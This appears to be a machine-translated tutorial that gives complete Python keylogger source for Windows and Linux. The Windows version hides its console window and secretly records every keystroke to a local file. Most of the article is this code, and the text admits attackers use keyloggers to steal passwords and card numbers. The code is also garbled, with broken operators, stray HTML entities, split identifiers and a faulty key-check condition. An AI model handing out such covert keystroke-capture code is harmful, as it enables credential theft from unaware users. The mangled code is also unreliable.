These are computer programs designed to run on the target computer’s software. Keyloggers are used in IT organizations to troubleshoot technical problems with computers and business networks. Families and business people use keyloggers legally to monitor network usage without the direct knowledge of their users. However, attackers can use keyloggers on public computers to steal passwords or credit card information.
This article illustrates the design of a keylogger for Windows and Linux.
Keylogger for Windows
Download some Python libraries
1) pywin32
2) pyhook & # 39;
Below is the code to create a keylogger in Python
# Python code for a keylogger # for windows use import win32api import win32console import win32gui import pythoncom, pyHook win = win32console.GetConsoleWindow () win32gui.ShowWindow (win, 0 ) def OnKeyboardEvent (event): if event.Ascii = = 5 : _ exit ( 1 ) if event.Ascii! = 0 or 8 : # open output.txt to read current keystrokes f = open ( ’c: output.txt’ , ’ r + ’ ) buffer = f.read () f. close () # open output.txt to record current + new keystrokes f = open ( ’c: output.txt’ , ’w’ ) keylogs = chr (event.Ascii) if event.Ascii = = 13 : keylogs = ’/ n’ buffer + = keylogs f.write ( buffer ) f.close () # create hook manager object hm = pyHook.HookManager () hm.KeyDown = OnKeyboardEvent # install the hook hm.HookKeyboard () # wait forever pythoncom.PumpMessages () |
Save the file to C: / as Keylogger.py and run the python file
Exit:
The keylogger will run in the background and save all data to log file “c: /output.txt.
Linux Keylogger
pyxhook requires python-xlib. Install it if you don’t already have it.
sudo apt-get install python-xlib
Download the library pyxhook
# Python code for a keylogger # for Linux use import os import pyxhook # This tells the keylogger where the log file will go. # You can set the path to the file as an environment variable (& # 39; pylogger_file & # 39;), # or use the default ~ / Desktop / file.log log_file = os.environ.get ( ’pylogger_file’ , os.path.expanduser ( ’ ~ / Desktop / file.log’ ) ) # Allow setting of the cancel key from environment arguments, by default: ’ cancel_key = ord ( os.environ.get ( ’pylogger_cancel’ , ’’ ’ ) [ 0 ] ) # Allow clearing of the log file at startup if pylogger_clean is defined. if os.environ.get ( ’pylogger_clean’ , None ) is not None : try : os.remove (log_file) except EnvironmentError: # The file does not exist permissions or not. pass # create a keypress event and save it to a log file def OnKeyPress (event): with open (log_file, ’a’ ) as f: f.write ( ’{}’ . format (event.Key)) # create object hook manager new_hook = pyxho ok.HookManager () new_hook.KeyDown = OnKeyPress # set the hook new_hook.HookKeyboard () try : new_hook.start () # start hook except KeyboardInterrupt: # User canceled from the command line. pass except Exception as ex: # Write exceptions to a log file for later analysis. msg = ’ Error while catching events: {} ’ . format (ex) pyxhook.print_err (msg) with open (log_file, ’ a’ ) as f: f.write ( ’ {} ’ . format (msg)) |
Exit:
The keylogger will run in the background and save all data in the file.log file "/ home / akash / Desktop".
Links
https://en.wikipedia.org/wiki/Keystroke_logging
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